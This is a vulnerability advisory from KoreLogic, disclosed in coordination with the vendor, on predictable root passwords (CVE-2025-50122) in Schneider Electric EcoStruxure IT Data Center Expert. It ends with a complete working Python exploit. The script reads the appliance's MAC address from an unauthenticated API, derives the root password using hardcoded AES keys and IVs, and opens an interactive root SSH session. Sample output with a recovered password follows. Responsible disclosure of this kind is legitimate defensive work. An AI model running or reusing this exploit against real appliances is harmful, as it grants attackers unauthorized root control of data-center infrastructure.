-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2025-008: Schneider Electric EcoStruxure IT Data Center Expert Root Password Discovery Title: Schneider Electric EcoStruxure IT Data Center Expert Root Password Discovery Advisory ID: KL-001-2025-008 Publication Date: 2025-07-09 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2025-008.txt 1. Vulnerability Details Affected Vendor: Schneider Electric Affected Product: EcoStruxure IT Data Center Expert Affected Version: 8.3 and prior Platform: CentOS CWE Classification: CWE-6311: Insufficient Entropy CVE ID: CVE-2025-50122 2. Vulnerability Description The Data Center Expert ("DCE") appliance uses logic contained with a JAR file and the MAC address to compute a "random" password for the root account. With access to the JAR file and knowledge of the MAC address, it is possible to determine the root password. 3. Technical Description Per https://www.se.com/us/en/faqs/FA222410/: APC and Schneider Electric does not allow customers access to the back end of the system. Data Center Expert is an appliance and should be considered a "black box" or closed system. We do not provide the root password for these systems. Static analysis revealed that the root passsword is constructed by using the MAC address of the appliance to generate a "random" password. This algorithm can also be used to display the cleartext password. The logic for the root password generation is in the ttgio.jar JAR file, which can be decompiled. Data Center Expert uses double-encryption and a mixing function to generate the root password using the appliance with the MAC address as the seed. The appliance uses a static key and IV for both rounds of encryption. Any attacker, with knowledge of the MAC address can generate the root password. The MAC address can be obtained via an ARP entry if the attacker is on the same network (v8.1.1), or remotely from any source if the appliance (v8.2.0.239) is network-reachable. An API endpoint, /isxg/v1/internal/server, can be accessed without authentication and the response includes the MAC address of the DCE appliance. 4. Mitigation and Remediation Recommendation Version 9.0 of EcoStruxure IT Data Center Expert includes fixes for these vulnerabilities and is available upon request from Schneider Electric's Customer Care Center. Refer to https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf. 5. Credit This vulnerability was discovered by Jaggar Henry and Jim Becher of KoreLogic, Inc. 6. Disclosure Timeline 2024-11-21 : KoreLogic reports vulnerability details to Schneider Electric CPCERT. 2024-11-22 : Vendor acknowledges receipt of KoreLogic's submission. 2024-12-06 : Vendor confirms the reported vulnerability. 2024-12-12 : Vendor requests a meeting with KoreLogic to discuss the timeline of remediation efforts for this vulnerability, as well as for associated submissions from KoreLogic. 2024-12-18 : KoreLogic and Schneider Electric agree to embargo vulnerability details until product update 9.0, circa July, 2025. 2025-01-29 : Vendor provides status update. 2025-03-17 : Vendor provides beta release containing remediation for this and other associated vulnerabilities reported by KoreLogic. 2025-06-20 : Vendor notifies KoreLogic that the publication date for this vulnerability will be 2025-07-08. 2025-07-08 : Vendor public disclosure. 2025-07-09 : KoreLogic public disclosure. 7. Proof of Concept $ cat unauth2root.py import urllib3 import pexpect import requests from Crypto.Cipher import AES from Crypto.Util.Padding import pad urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Exploit: def __init__(self, ip_address, web_port=443): self.ip_address = ip_address self.web_port = web_port def find_mac_address(self): # Request MAC address from API (unauthenticated) target_url = f'https://{self.ip_address}:{self.web_port}/isxg/v1/internal/server' mac_address = requests.get(target_url, verify=False).json().get('isxcMacAddress') return mac_address def generate_password(self, mac_address): # Encryption constants key_a = bytes.fromhex('A29A9412A2C7241D4771AED354EE10D4') key_b = bytes.fromhex('CC3CE2F049FB96928F62C36F1D896053') iv_a = bytes.fromhex('E610C6053C19BD6517EA71F85904B0C4') iv_b = bytes.fromhex('52DB914876C743AD0AD571DA5D04903C') # Convert MAC address to bytes mac_bytes = bytes(int(x, 16) for x in mac_address.split(":")) # Double encryption aes_encryptor_a = AES.new(key_a, AES.MODE_CBC, iv_a) aes_encryptor_b = AES.new(key_b, AES.MODE_CBC, iv_b) encrypted_once = aes_encryptor_a.encrypt(pad(mac_bytes, AES.block_size)) encrypted_twice = aes_encryptor_b.encrypt(pad(encrypted_once, AES.block_size)) # Mix encrypted bytes byte = 7 expanded = bytearray(16) for i in range(16): encrypted_byte = encrypted_twice[i % len(encrypted_twice)] byte = (3 * byte) + encrypted_byte byte &= 0xFF expanded[i] = byte # Normalize to ASCII range (33-126) result = bytearray(16) for i, byte in enumerate(expanded): normalized = byte - 256 if byte > 127 else byte while normalized < 33: normalized += 33 if normalized > 126: normalized = (normalized - 33) % 94 + 33 result[i] = normalized & 0xFF return result.decode() def connect_via_ssh(self, password): # Spawn interactive SSH client arguments = ['-t', '-l', 'root', self.ip_address, '/bin/bash'] session = pexpect.spawn('ssh', arguments, encoding='utf-8') session.expect('password:') session.sendline(password) session.interact() def execute(self): mac_address = self.find_mac_address() print(f'[+] MAC address: {mac_address}') password = self.generate_password(mac_address) print(f'[+] Root Password: {password}') self.connect_via_ssh(password) exploit = Exploit('192.168.2.90') exploit.execute() [attacker@box]$ python unauth2root.py [+] MAC address: 00:0c:29:d7:18:f1 [+] Root Password: <63-776.z*/